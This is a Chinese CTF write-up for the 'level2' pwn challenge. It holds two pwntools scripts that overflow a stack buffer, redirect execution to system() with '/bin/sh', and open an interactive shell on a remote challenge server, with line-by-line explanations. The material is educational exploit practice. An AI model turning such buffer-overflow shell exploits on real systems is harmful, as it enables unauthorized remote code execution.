攻防世界 | level2


 

# ! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
elf = ELF('leve2')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
io = remote('111.198.29.45',53269)
io.sendlineafter("Input:\n", payload)
io.interactive()
io.close()

 代碼解析:

elf = ELF('leve2') 
sys_addr = elf.symbols['system']
  • 找到system函數 的地址

sh_addr = elf.search('/bin/sh').next()

  • 找到包含'/bin/sh'的地址.

payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

  • p32()可以讓我們轉換整數到小端序格式,轉換4字節
  • p32(0xdeadbeef) :system的參數棧要求dw 4

io = remote('111.198.29.45',53269)

  • 連接遠程主機

io.sendlineafter("Input:\n", payload)

  • 接收到 some_string 后, 發送你的 payload

io.interactive()

  • 允許我們在終端里將命令傳送到遠程服務器. Pwntools 會自動接收輸出並回顯 .

io.close()

 


另一種payload:

#encoding=utf-8
from pwn import *
a = remote('111.198.29.45',53269)
##system函數的地址
sysaddr = 0x08048320
##程序中/bin/sh字符串所在的地址
binshaddr = 0x0804A024
# 0x88是程序中緩沖區的大小,4個大小是需要覆蓋的ebp的地址,之后是函數的返回地址,被system的地址覆蓋了,進入到system函數之后,需要構造system函數的棧幀因為ebp+8是形參的地址
#所以需要四個字節的填充p32(0),后面放的是system里面的參數的地址。這樣子溢出之后就會獲得shell payload = 'a'*0x88+'b'*4+p32(sysaddr)+p32(0)+p32(binshaddr) a.send(payload) a.interactive()

 

 

 


參考:

https://bbs.pediy.com/thread-247217.htm 

https://bbs.pediy.com/thread-251334.htm

https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5055&number=2&grade=0&page=1


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM